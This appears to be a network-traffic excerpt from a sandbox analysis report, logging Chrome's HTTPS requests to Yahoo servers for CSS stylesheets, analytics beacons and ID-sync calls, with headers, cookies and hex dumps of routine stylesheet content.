2024-04-27 22:41:53 UTC	180	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 77 68 69 74 65 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 29 7d 23 61 74 6f 6d 69 63 20 2e 4f 76 5c 28 68 5c 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 32 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 6f 73 5c 28 72 5c 29 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d Data Ascii: #atomic .Bgc$--white${background-color:#fff;background-color:var(--white)}#atomic .Ov$h${overflow:hidden}#atomic .Pt$2px${padding-top:2px}#atomic .Pos$r${position:relative}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49784	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	1398	OUT	POST /p?s=2023538075&t=1714257712154&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&test=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&rid=1sbetl5j2qvpa&pd=unknown&pt=home&A_utm=%7B%22GAM_READY_TIME%22%3A7473%7D HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
2024-04-27 22:41:53 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:41:53 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:41:53 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49856	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	611	OUT	GET /aaq/fp/css/react-wafer-games.GamesMini.atomic.ltr.1351353cf8129012a686e519608812d5.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	788	IN	HTTP/1.1 200 OK x-amz-id-2: lqYDsgOFdYcHBGtKdbi0QyViYoDmIGsAy64n52Sv6k3G2onD3qvp6ZTOGzJfqZkV3ovxWtgTAPo= x-amz-request-id: BDHEVE3FY9ZFCDM7 Date: Sat, 27 Apr 2024 22:41:54 GMT Last-Modified: Fri, 12 Jan 2024 19:43:45 GMT ETag: "1351353cf8129012a686e519608812d5" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: ouej.hM6TZKpwbSW135hA50L0uFHUa4v Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 7971 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 35 66 38 66 61 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 65 6e 64 63 5c 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 5c 29 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f Data Ascii: #atomic .Ai$c${align-items:center}#atomic .Bdc$--dirty-seagull${border-color:#e0e4e9;border-color:var(--dirty-seagull)}#atomic .Bdc$--marshmallow${border-color:#f5f8fa;border-color:var(--marshmallow)}#atomic .Bdendc$--hulk-pants${border-right-colo
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 61 64 69 75 73 3a 31 30 30 25 7d 23 61 74 6f 6d 69 63 20 2e 42 67 5c 28 5c 24 70 6c 61 79 47 61 6d 65 73 42 74 6e 47 72 61 64 69 65 6e 74 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 39 30 2e 34 33 64 65 67 2c 23 39 34 34 31 46 46 20 2d 32 2e 37 33 25 2c 23 37 46 34 37 46 46 20 36 31 2e 35 39 25 2c 23 36 37 32 34 46 35 20 39 39 2e 37 25 29 7d 2e 61 63 74 69 76 65 3e 2e 61 63 74 69 76 65 5c 3e 42 67 63 5c 28 2d 2d 62 61 74 63 61 76 65 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 29 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 Data Ascii: adius:100%}#atomic .Bg$\$playGamesBtnGradient${background:linear-gradient(90.43deg,#9441FF -2.73%,#7F47FF 61.59%,#6724F5 99.7%)}.active>.active\>Bgc$--batcave${background-color:#232a31!important;background-color:var(--batcave)!important}#atomic .Bgc\(
2024-04-27 22:41:53 UTC	1103	IN	Data Raw: 67 72 61 70 65 2d 6a 65 6c 6c 79 5c 29 5c 21 7b 63 6f 6c 6f 72 3a 23 36 30 30 31 64 32 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 67 72 61 70 65 2d 6a 65 6c 6c 79 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 61 62 41 63 74 69 76 65 20 2e 74 61 62 41 63 74 69 76 65 5f 43 5c 28 2d 2d 69 6e 6b 77 65 6c 6c 5c 29 5c 21 7b 63 6f 6c 6f 72 3a 23 31 64 32 32 32 38 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 69 6e 6b 77 65 6c 6c 29 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 43 75 72 5c 28 70 5c 29 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 62 5c 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 66 5c 29 7b 64 69 73 70 6c 61 79 Data Ascii: grape-jelly\)\!{color:#6001d2!important;color:var(--grape-jelly)!important}.tabActive .tabActive_C$--inkwell$\!{color:#1d2228!important;color:var(--inkwell)!important}#atomic .Cur$p${cursor:pointer}#atomic .D$b${display:block}#atomic .D$f${display
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 5c 28 2d 2d 66 6f 6e 74 2d 31 31 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 66 6f 6e 74 2d 31 31 70 78 29 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 2d 2d 66 6f 6e 74 2d 31 32 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 66 6f 6e 74 2d 31 32 70 78 29 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 32 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 34 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 38 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 61 63 74 69 76 65 3e 2e 61 63 74 69 76 65 5c 3e 48 5c 28 38 70 78 5c 29 7b 68 65 69 67 68 74 3a 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 Data Ascii: $--font-11px${font-size:var(--font-11px)}#atomic .Fz$--font-12px${font-size:var(--font-12px)}#atomic .Fz$12px${font-size:12px}#atomic .Fz$14px${font-size:14px}#atomic .Fz$18px${font-size:18px}.active>.active\>H$8px${height:8px!important}#atomi
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 31 32 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 36 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 38 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 30 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 30 70 78 5c 29 5c 21 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 31 34 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 32 34 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 Data Ascii: 12px\){margin-right:12px}#atomic .Mend$6px${margin-right:6px}#atomic .Mend$8px${margin-right:8px}#atomic .Mb$0${margin-bottom:0}#atomic .Mb$0px$\!{margin-bottom:0!important}#atomic .Mb$14px${margin-bottom:14px}#atomic .Mb$24px${margin-bottom:2
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 63 20 2e 50 74 5c 28 31 32 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 35 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 36 36 5c 2e 36 37 5c 25 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 36 2e 36 37 25 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 37 30 5c 25 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 37 30 25 7d 2e 74 61 62 41 63 74 69 76 65 20 2e 74 61 62 41 63 74 69 76 65 5f 50 62 5c 28 36 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 36 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 50 65 5c 28 6e 5c 29 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 50 6f 73 Data Ascii: c .Pt$12px${padding-top:12px}#atomic .Pt$5px${padding-top:5px}#atomic .Pt$66\.67\%${padding-top:66.67%}#atomic .Pt$70\%${padding-top:70%}.tabActive .tabActive_Pb$6px${padding-bottom:6px!important}#atomic .Pe$n${pointer-events:none}#atomic .Pos
2024-04-27 22:41:53 UTC	368	IN	Data Raw: 72 74 61 6e 74 7d 2e 45 6c 6c 3a 61 66 74 65 72 2c 61 5b 63 6c 61 73 73 2a 3d 4c 69 6e 65 43 6c 61 6d 70 5d 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 2e 22 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 68 65 69 67 68 74 3a 30 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 77 69 64 74 68 3a 30 7d 2e 45 6c 6c 7b 68 79 70 68 65 6e 73 3a 6e 6f 6e 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 7d 5b 63 6c 61 73 73 2a 3d 4c 69 6e 65 43 6c 61 6d 70 5d 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 7d 61 5b 63 6c 61 73 73 2a 3d 4c 69 6e 65 43 6c 61 6d 70 5d 7b 64 69 73 70 6c 61 79 3a 2d 77 Data Ascii: rtant}.Ell:after,a[class=LineClamp]:after{content:".";font-size:0;height:0;visibility:hidden;width:0}.Ell{hyphens:none;max-width:100%;text-overflow:ellipsis}[class=LineClamp]{display:-webkit-box;-webkit-box-orient:vertical}a[class*=LineClamp]{display:-w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49855	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	1136	OUT	GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2i3y:19e0~2i3y"; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
2024-04-27 22:41:53 UTC	561	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:53 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:53 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-04-27 22:41:53 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 6a 62 54 5a 4a 47 5a 45 32 75 4c 72 52 5a 47 52 46 4e 73 6b 45 36 5a 56 35 41 6e 77 32 6a 34 32 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A"}
2024-04-27 22:41:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49857	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	597	OUT	GET /aaq/fp/css/react-wafer-games.games-mini.cdd5050ba6288df47182412e30e482a4.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	857	IN	HTTP/1.1 200 OK x-amz-id-2: Lrb7vndQGme4rgn4X85zRNyTphSfjtVy2voR96cylg6SKxmjURhMq3DZ+C4ZjVDgKFnFRbAPlKg9nbh5tj1KfY5RMEOS7rys x-amz-request-id: KWFP5K513TT5WHHK Date: Sat, 27 Apr 2024 14:49:40 GMT Last-Modified: Mon, 18 Dec 2023 23:21:02 GMT ETag: "cdd5050ba6288df47182412e30e482a4" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: W6wjlexzsuoIk3RVZ4XUZ6EnDTuHcXns Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 175 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 28334 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:53 UTC	175	IN	Data Raw: 2e 67 61 6d 65 73 2d 74 61 62 73 2d 73 63 72 6f 6c 6c 76 69 65 77 20 2e 70 72 65 76 2d 62 74 6e 5b 64 69 73 61 62 6c 65 64 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 67 61 6d 65 73 2d 74 61 62 73 3e 62 75 74 74 6f 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 30 70 78 7d 2e 67 61 6d 65 73 2d 74 61 62 73 2d 73 63 72 6f 6c 6c 76 69 65 77 20 2e 73 6c 69 64 65 73 3a 3a 2d 77 65 62 6b 69 74 2d 73 63 72 6f 6c 6c 62 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d Data Ascii: .games-tabs-scrollview .prev-btn[disabled]{display:none}#atomic .games-tabs>button:last-child{margin-right:10px}.games-tabs-scrollview .slides::-webkit-scrollbar{display:none}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49858	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	625	OUT	GET /aaq/fp/css/react-wafer-weather.WeatherPreviewRefresh.atomic.ltr.2a251a0ddb3d7c4ec13f4e35ee35dd2b.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	814	IN	HTTP/1.1 200 OK x-amz-id-2: 1zfKqBZzMhOuK7vC0nfPOCC4FLvGN7D8V85NvFoIETT9Z5+H4pZ700J6OOCAvrf/SttkbCInzYc= x-amz-request-id: HZE7N5GF2J22NZBC Date: Sat, 27 Apr 2024 21:02:43 GMT Last-Modified: Fri, 15 Dec 2023 14:53:19 GMT ETag: "2a251a0ddb3d7c4ec13f4e35ee35dd2b" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: kLRcmlvLyRbY_VAaft68F.xlsYWQ5D50 Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 5570 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 5951 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 70 65 62 62 6c 65 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 63 37 63 64 64 32 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 70 65 62 62 6c 65 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 74 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 64 74 63 5c 28 2d Data Ascii: #atomic .Ai$c${align-items:center}#atomic .Bdc$--dirty-seagull${border-color:#e0e4e9;border-color:var(--dirty-seagull)}#atomic .Bdc$--pebble${border-color:#c7cdd2;border-color:var(--pebble)}#atomic .Bdc$t${border-color:transparent}#atomic .Bdtc\(-
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 7d 23 61 74 6f 6d 69 63 20 2e 42 78 7a 5c 28 62 62 5c 29 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 61 74 6f 6d 69 63 20 2e 42 78 73 68 5c 28 6e 5c 29 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 63 61 76 65 5c 29 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 6c 61 63 6b 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 6c 61 63 6b 5c 29 5c 3a 5c 3a 70 68 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 6c 61 63 6b 29 7d 23 61 74 6f 6d 69 63 20 Data Ascii: d-repeat:no-repeat}#atomic .Bxz$bb${box-sizing:border-box}#atomic .Bxsh$n${box-shadow:none}#atomic .C$--batcave${color:#232a31;color:var(--batcave)}#atomic .C$--black$,#atomic .C$--black$\:\:ph::placeholder{color:#000;color:var(--black)}#atomic
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 32 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 32 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 35 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 36 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 32 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 33 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 34 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 65 6d 5c Data Ascii: stify-content:space-between}#atomic .Fw$200${font-weight:200}#atomic .Fw$500${font-weight:500}#atomic .Fw$600${font-weight:600}#atomic .Fz$12px${font-size:12px}#atomic .Fz$13px${font-size:13px}#atomic .Fz$14px${font-size:14px}#atomic .Fz\(1em\
